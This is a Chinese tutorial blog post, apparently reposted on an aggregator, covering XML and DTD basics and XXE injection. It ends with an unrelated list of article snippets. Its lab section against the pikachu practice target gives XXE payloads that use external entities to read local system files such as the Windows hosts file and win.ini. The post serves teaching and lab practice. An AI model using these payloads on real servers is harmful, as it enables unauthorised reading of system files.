当前位置： 首页 > news >正文

XXE漏洞复现

news 文章来源：https://blog.csdn.net/m0_57485346/article/details/129558744 2025/1/13 13:14:26

目录

  • XML基础
    • 概念
    • XML数据格式
  • DTD基础
    • 定义
    • DTD作用
    • 分类
    • DTD实体
    • 实体的分类
    • DTD元素
  • XXE漏洞
    • 介绍
    • 实操
    • 如何探测xxe漏洞

XML基础

概念

  • 什么是XML

    • 是一种可扩展标记语言 (Extensible Markup Language, XML) ，标准通用标记语言的子集，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。

  • 特点

    • 是一种标记语言
    • 被设计来进行数据传输
    • 可以自定义标签
    • 具有层级结构
    • 具有自我描述性

XML数据格式

声明

<?xml version="1.0" encoding="UTF-8" ?>

元素/节点
（1）根节点： 有且只有一个根元素
（2）子节点： 可以嵌套，可以重复
（3）每个节点必须成对出现，空节点也必须成对出现
属性
（1）每个元素/节点可以有多个属性
（2）属性以键值对的方式出现：名称=“值”。属性的值添加双引号，多个属性以空格分开。

注释： <!--  注释内容  -->

DTD基础

定义

DTD全称是The document type definition，即是文档类型定义，可定义合法的XML文档
它使用一系列合法的元素来定义文档的结构。DTD可以被成行的声明于XML

DTD作用

1.一个应用程序keyishiyongDTD来确认收到的XML数据是有效的
2.每一个XML文件可以携带一个自身格式的描述
3.不同组织的人可以使用一个通用DTD来交换数据

分类

DTD分为：内部DTD、外部DTD、共有DTD

  • 内部DTD
    • 存在xml文档中的
      在这里插入图片描述
      DOCTYPE：DTD声明，对note进行说明
      以上
<!DOCTYPE NOTE [
- ]>

都为DTD

  • 外部DTD
    在这里插入图片描述
    可以看出把DTD写到了"note.dtd"中

  • 共有DTD

<!DOCTYPE taglib PUBLIC "-//Sun Microsystems,Inc.//DTD JSP Tag Library 1.2//EN""http://java.sun.com/dtd/web-jsplibrary_1_2.dtd">

DTD实体

实体的概念：实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。

实体可在内部或外部进行声明。

实体的分类

分类：内部实体，外部实体、参数实体

  • 内部实体：
<!ENTITY实体名称 "实体的值">
  • 外部实体：
<!ENTITY实体名称SYSTEM "URL">
  • 参数实体
<!ENTITY % 实体名称 [SYSTEM] "URL"> 
<!ENTITY % TAG_NAME "姓名|EMAIL|电话|地址">
<!ELEMENT 个人信息 (%TAG_NAME; |生日)>
<!ELEMENT 客户信息 (%TAG_NAME; |公司名)>

DTD元素

声明一个元素<!ENTITY 元素名称 类别><!ELEMENT 元素名称(元素内容)>
空元素<!ENTITY 元素名称 EMPTY><!ELEMENT <br> EMPTY> <br/>
只有PCDATA的元素<!ENTITY 元素名称 （#PCDATA）><!ELEMENT from (#PCDATA)>
带任何内容的元素<!ENTITY 元素名称 ANY><!ELEMENT note ANY>
带有子元素（序列）的元素<!ENTITY 元素名称 （子元素名称1，子元素名称2,........）><!ELEMENT note(to,from,heading,body)>

XXE漏洞

介绍

  • XXE -“xml external entity injection”
  • “xml外部实体注入漏洞”

利用xxe漏洞可以进行拒绝服务攻击（DDos），文件读取，命令(代码)执行，SQL(XSS)注入，等

一般的xml：

第一部分：XML声明部分

<?xml version="**"?>

第二部分：文档类型定义 DTD

<!--定义此文档是note类型的文档-->
<!DOCTYPE note[
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">
]>

第三部分：文档元素

<note>
<to>nuc</to>
<from>grade20</from>
<head>2013040212</head>
<body>wpp</body>
</note>

实操

进入pikachu靶场
提交一个xml

<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY hack "Edison.W"> ]> <name>&hack;</name>

在这里插入图片描述
外部实体引入攻击载荷使其访问host文件

<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">
]>
<x>&f;</x>

在这里插入图片描述
再来一个，我们这次访问win.ini

<?xml version="1.0"?>
<!DOCTYPE a [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<xml>&xxe;</xml>

在这里插入图片描述

如何探测xxe漏洞

  • 抓包，如果是xml格式的body，则发送一个<元素>数据</元素>
  • 能回显，就可能存在XXE漏洞

相关文章：

XXE漏洞复现

目录XML基础概念XML数据格式DTD基础定义DTD作用分类DTD实体实体的分类DTD元素XXE漏洞介绍实操如何探测xxe漏洞XML基础 概念 什么是XML 是一种可扩展标记语言 (Extensible Markup Language, XML) &#xff0c;标准通用标记语言的子集&#xff0c;可以用来标记数据、定义数据类型…...

编程日记 2023/3/16 3:22:09

初识C++需要了解的一些东西（2）

&#x1f601;关注博主&#xff1a;翻斗花园第一代码手牛爷爷 &#x1f603;Gitee仓库&#xff1a;牛爷爷爱写代码 目录&#x1f30d;内联函数&#x1f315;内联函数概念&#x1f316;内联函数特性&#x1f313;auto关键字(C11)&#x1f31e;类型别名⭐️auto简介☀️auto的使…...

编程日记 2023/3/16 3:17:08

全国程序员薪酬大曝光！看完我酸了····

2023年&#xff0c;随着互联网产业的蓬勃发展&#xff0c;程序员作为一个自带“高薪多金”标签的热门群体&#xff0c;被越来越多的人所关注。在过去充满未知的一年中&#xff0c;他们的职场现状发生了一定的改变。那么&#xff0c;程序员岗位的整体薪资水平、婚恋现状、职业方…...

编程日记 2023/3/16 3:12:06

改进YOLO系列 | CVPR2023最新Backbone | FasterNet 远超 ShuffleNet、MobileNet、MobileViT 等模型

论文地址：https://export.arxiv.org/pdf/2303.03667v1.pdf 为了设计快速神经网络，许多工作都集中在减少浮点运算（FLOPs）的数量上。然而，作者观察到FLOPs的这种减少不一定会带来延迟的类似程度的减少。这主要源于每秒低浮点运算（FLOPS）效率低下。并且，如此低的FLOPS主要…...

编程日记 2023/3/16 3:07:05

Nginx常见用法

一、Niginx是什么&#xff1f; Nginx是一个高性能的HTTP和反向代理web服务器&#xff0c;同时也提供了IMAP/POP3/SMTP服务。Niginx是一款轻量级的web服务器/反向代理器&#xff0c;Nginx是高性能的HTTP和 反向代理的web服务器&#xff0c;处理高并发的能力十分强大&#xff0c…...

编程日记 2023/3/16 3:02:04

MySQL存储引擎和日志管理

MySQL存储引擎和日志管理一、存储引擎的概念1、Myisam的特点2、Myisam表支持 3 种不同的存储格式3、innodb4、死锁5、查看系统支持的存储引擎6、查看表使用的存储引擎7、修改存储引擎8、通过 create table 创建表时指定存储引擎二、日志管理1、错误日志2、通用查询日志3、慢查询…...

编程日记 2023/3/16 2:57:01

Arduino 驱动DS1307时钟模块使用介绍

Arduino 驱动DS1307时钟模块使用介绍 🔖DS1307时钟模块 📍DS1307时钟模块资料 https://pan.baidu.com/s/1mtXruLAktZj7UDhFD54BNw 提取码：d9xh 📋模块简介：DS1307 I2C实时时钟芯片(RTC) 24C32 32K I2C EEPROM存储器 解决DS1307带备用电池不能读写的问题。 充满电后，…...

编程日记 2023/3/16 2:51:58

为什么 Python 没有 main 函数？

众所周知&#xff0c;Python中没有所谓的main函数&#xff0c;但是网上经常有文章提到“ Python的main函数”和“建议编写main函数”。 其实&#xff0c;可能他们是想模仿真正的main函数&#xff0c;但是许多人都被误导&#xff08;或误解&#xff09;&#xff0c;然后编写了非…...

编程日记 2023/3/16 2:46:56

【无标题】使用Bibtex4word 整理毕业论文参考文献

Bibtex4Word使用一览需要安装和配置的软件texLiveBibtex4word需要安装和配置的软件 texLive 这个就不多说啦&#xff0c;大家自己找教程安装吧&#xff0c;因为我之前装过这一系列所以就不再来一遍了&#xff0c;但是有两条配置需要注意&#xff01; 添加环境变量 key: BIB…...

编程日记 2023/3/16 2:41:55

19--网络API（java版）

什么是网络API在一个网站里面发起https请求是很常见的&#xff0c;但是&#xff0c;由于微信小程序是腾讯内部的产品&#xff0c;不能直接打开一个外部的链接&#xff0c;例如&#xff0c;您在微信小程序里面无法直接打开网站&#xff0c;但是&#xff0c;在做小程序开发的时候…...

编程日记 2023/3/16 2:36:51

ElasticSearch - 分片内部原理之动态更新索引、近实时搜索、持久化变更、段合并

文章目录01. ElasticSearch 倒排索引是什么&#xff1f;02. ElasticSearch 倒排索引为什么是不可变的&#xff1f;03. ElasticSearch 索引文档原理&#xff1f;04. ElasticSearch 如何动态更新索引&#xff1f;05. ElasticSearch 文档的新增、删除、更新&#xff1f;06. Elasti…...

编程日记 2023/3/16 2:31:49

模拟数据采集卡之ADCTDC 模拟时间/数字转换器组合应用选型指南

简介 产品组合包括一系列多功能时间到数字转换器(TDC)和模数转换器(ADC)。我们的许多客户的应用场景依赖于对飞行时 间(TOF)的测量。该系列产品非常适合用于质谱系统(TOF-MS)&#xff0c;光学相干断层扫描(OCT)&#xff0c;荧光寿命成像显微镜(FLIM)&#xff0c; 时间相关单光子…...

编程日记 2023/3/16 2:26:48

R语言编程基础

文章目录安装运算符判断函数递归安装 根据自己的操作系统&#xff0c;下载R语言环境后&#xff0c;安装&#xff0c;并将安装路径加入到环境变量&#xff0c;即可从命令行进入R环境 >rR version 4.2.2 (2022-10-31 ucrt) -- "Innocent and Trusting" Copyright …...

编程日记 2023/3/16 2:21:46

2023-03-15：屏幕录制并且显示视频，不要用命令。代码用go语言编写。

2023-03-15&#xff1a;屏幕录制并且显示视频&#xff0c;不要用命令。代码用go语言编写。 答案2023-03-15&#xff1a; 使用moonfdd/ffmpeg-go和moonfdd/sdl2-go库来实现屏幕录制并显示视频&#xff0c;大体流程如下&#xff1a; 1.使用libavdevice库中的AVInputFormat&…...

编程日记 2023/3/16 2:16:44

STM32外设-DMA

1. 简介 DMA(Direct Memory Access)—直接存储器存取&#xff0c;是单片机的一个外设&#xff0c;它的主要功能是用来搬数据&#xff0c;但是不需要占用 CPU&#xff0c;即在传输数据的时候&#xff0c; CPU 可以干其他的事情&#xff0c;好像是多线程一样。数据传输支持从外设…...

编程日记 2023/3/16 2:11:42

【面试题】面试官：如果后端给你 1w 条数据，你如何做展示？

最近一位朋友参加阿b的面试&#xff0c;然后面试官问了她这个问题&#xff0c;我问她咋写的&#xff0c;她一脸淡定的说&#xff1a;“虚拟列表。”大厂面试题分享 面试题库前后端面试题库 &#xff08;面试必备&#xff09; 推荐&#xff1a;★★★★★地址&#xff1a;前端面…...

编程日记 2023/3/16 2:06:40

第十二届蓝桥杯省赛详解

试题A&#xff1a;空间 1B是8位&#xff0c;32位二进制数占用4B空间&#xff0c;1MB2^10KB2^20B 那么可以存放32位二进制数的个数为256*2^20*8/3267108864 试题B&#xff1a;卡片 分析&#xff1a;因为数据只有2021&#xff0c;所以直接模拟即可 结果为&#xff1a;3181&…...

编程日记 2023/3/16 2:01:38

ssh创建秘钥对

1. 使用ssh-keygen 生成秘钥对 [root6zix89b87qmvuv ~]# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): 按回车键或设置密钥的存储路径 Enter passphrase (empty for no passphrase): 按回车键或设置密钥的存…...

编程日记 2023/3/16 1:56:37

JS中sort()方法返回值？

参考 https://segmentfault.com/q/1010000043489928 精辟解释 就是说 sort() 会修改原数组项的排序&#xff0c;sort() 结束后会返回一个数组结果&#xff0c;这个结果其实就是原数组。并不是说会返回一个新的数组。 原理讲解 JS 分为栈内存和堆内存&#xff0c;栈内存可以…...

编程日记 2023/3/16 1:51:35

07从零开始学Java之如何正确的编写Java代码？

作者&#xff1a;孙玉昌&#xff0c;昵称【一一哥】&#xff0c;另外【壹壹哥】也是我哦CSDN博客专家、万粉博主、阿里云专家博主、掘金优质作者前言在上一篇文章中&#xff0c;壹哥带领大家开始编写了第一个Java案例&#xff0c;在我们的cmd命令窗口中输出了”Hello World“这…...

编程日记 2023/3/16 1:46:34

Python学习笔记14：网络编程

网络编程 几个网络模块 模块socket # 简单的服务器 import socket s socket.socket() host socket.gethostname() port 1234 s.bind((host, port))s.listen(5) while True: c, addr s.accept() print(Got connection from, addr) c.send(Thank you for connecting)c.…...

编程日记 2023/3/16 1:41:31

初入了解——什么是VUE

个人简介&#xff1a;云计算网络运维专业人员&#xff0c;了解运维知识&#xff0c;掌握TCP/IP协议&#xff0c;每天分享网络运维知识与技能。座右铭&#xff1a;海不辞水&#xff0c;故能成其大&#xff1b;山不辞石&#xff0c;故能成其高。个人主页&#xff1a;小李会科技的…...

编程日记 2023/3/16 1:36:29

代码规范(C++)

1.命名规范 1.目录/文件 字母、数字、下划线构成&#xff0c;不同单词用下划线隔开。 2.函数/接口 小驼峰命名法。 3.命名空间 字母、数字、下划线构成&#xff0c;不同单词用下划线隔开&#xff0c;但是尽量只使用一个单词。 4.结构体/类 大驼峰命名法&#xff0c;不包…...

编程日记 2023/3/16 1:31:28

React教程详解四（hooks、pureComponent、Context通信、错误边界、children props与render props）

前言 hooks是react16.8.0版本新增加的新特性/新语法&#xff0c;最大的特点是可以在开发者在函数组件中使用state以及其它React特性&#xff0c;下面分别对其介绍&#xff5e; React.useState() state hook能让函数组件也可以拥有state状态&#xff0c;方便其进行state状态的…...

编程日记 2023/3/16 1:26:26

【Spring从成神到升仙系列 二】2023年再不会 IOC 源码，就要被淘汰了

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小黄&#xff0c;独角兽企业的Java开发工程师&#xff0c;CSDN博客专家&#xff0c;阿里云专家博主&#x1f4d5;系列专栏&#xff1a;Java设计模式、数据结构和算法、Kafka从入门到成神、Kafka从成神到升仙…...

编程日记 2023/3/16 1:21:23

菜鸟的进阶--手写一个小型dubbo框架

1.rpc调用流程2.组件1.Redis注册中心3.编解码/序列化在本例的Netty通信中&#xff0c;由于每次调用rpc服务都要发送同一个类对象invoker&#xff0c;所以可以使用Protobuf。但是在接受方法调用结果的时候就不行了&#xff0c;因为我们无法提前确定对方方法返回结果的类型&#…...

编程日记 2023/3/16 1:16:21

js逆向爬取某音乐网站某歌手的歌曲

js逆向爬取某音乐网站某歌手的歌曲一、分析网站1、案例介绍2、寻找列表页Ajax入口&#xff08;1&#xff09;页面展示图。&#xff08;2&#xff09;寻找部分歌曲信息Ajax的token。&#xff08;3&#xff09;寻找歌曲链接&#xff08;4&#xff09;获取歌曲名称和id信息3、寻找…...

编程日记 2023/3/16 1:11:18

为什么软件测试面试了几个月都没有offer，从HR角度分析

首先&#xff0c;我觉得你在软件测试面试的过程中&#xff0c;逻辑比较混乱的最大一个原因是&#xff0c;说明你没有形成一个一个整体的体系。 导致你说的时候很多东西都杂乱无章。 我个人认为软件测试&#xff0c;其实开始首先进行的是一些需求的分析工作&#xff0c;之后呢…...

编程日记 2023/3/16 1:04:54

DC-7 靶场学习

文章目录信息搜集账号密码获取修改密码反弹shell得到flag信息搜集 首先获取目标ip。 arp-scan -l nmap -sP 192.168.28.0/24得到目标ip为&#xff1a; 192.168.28.139先访问页面。 翻译一下。 欢迎来到 DC-7DC-7引入了一些“新”概念&#xff0c;但我会让你弄清楚它们是什么…...

编程日记 2023/4/9 0:44:12

深入理解JavaScript的事件冒泡与事件捕获

前言JavaScript中提供了很多操作DOM的API。事件冒泡和事件捕获是指浏览器中处理DOM元素上事件的两种不同方式。事件冒泡和事件捕获都是JavaScript事件模型中的一部分&#xff0c;可以用来处理事件。对于这个问题&#xff0c;在实际开发中&#xff0c;并不是非常重要&#xff0c…...

编程日记 2023/3/16 0:51:55

医疗器械网站建设/广州网站排名优化报价

一、内存JVM堆栈内存是决定应用服务器性能的关键指标&#xff0c;一般服务器默认的内存配置都比较小&#xff0c;在较大型的应用项目中&#xff0c;这点内存是不够的&#xff0c;因此需要进行查看与修改Web服务器内存大小&#xff0c;接下来就介绍服务器内存查看的方法以及不同…...

编程日记 2025/1/13 11:04:32

高端html5网站建设织梦模板/seo关键词优化培训

计算机系统概述 计算机处理过程 CPU&#xff0c;计算机的核心。根据冯.诺依曼的理论架构&#xff0c;计算机包括五大部分&#xff1a;运算器、控制器、存储设备、输入、输出设备。运算器和控制器是最核心的部分&#xff0c;通常做在一个器件上&#xff0c;称作CPU&#xff08;C…...

编程日记 2025/1/13 10:48:23

网站开发经济可行性分析/武汉seo搜索引擎优化

内网穿透 一、介绍 1.概念 ​ 内网穿透简单来说就是将内网外网通过natapp隧道打通,让内网的数据让外网可以获取。比如常用的办公室软件等&#xff0c;一般在办公室或家里&#xff0c;通过拨号上网&#xff0c;这样办公软件只有在本地的局域网之内才能访问&#xff0c;那么问…...

编程日记 2025/1/13 6:10:43

帝国cms是个人网站/灰色行业seo

记录一个Android Studio查看SQLite数据库的方式: 1、安装Database Navigator插件: Android Studio ---> Preference --->Plugins ---> Marketplace ---> search&#xff1a;database --->install&#xff1a;Database Navigator。 2、打开Device File Explorer…...

编程日记 2025/1/13 6:02:40

做网站公司(信科网络)/营销策略是什么

1、概述 BDS全称&#xff1a;Boot Dev Select&#xff08;启动设备选择) 主要功能是加载并连接驱动程序&#xff0c;管理并启动引导项。在引导操作系统之前会初始化设备&#xff08;USB键盘鼠标&#xff0c;VGA设备等&#xff09;&#xff0c;然后通过Variable功能来控制启动顺…...

编程日记 2025/1/13 5:00:00

订做网站策划/论坛外链代发

CRM的出现&#xff0c;改变了以往客户资料分散、客户管理复杂繁琐的状况&#xff0c;还让企业对客户数据、产品信息、员工数据实现了统一。自20世纪90年代以来&#xff0c;CRM的经营理念和运作体系迅速被企业界所接受并在大企业得到广泛应用。但是&#xff0c;占企业总数90%以上…...

编程日记 2025/1/13 3:54:32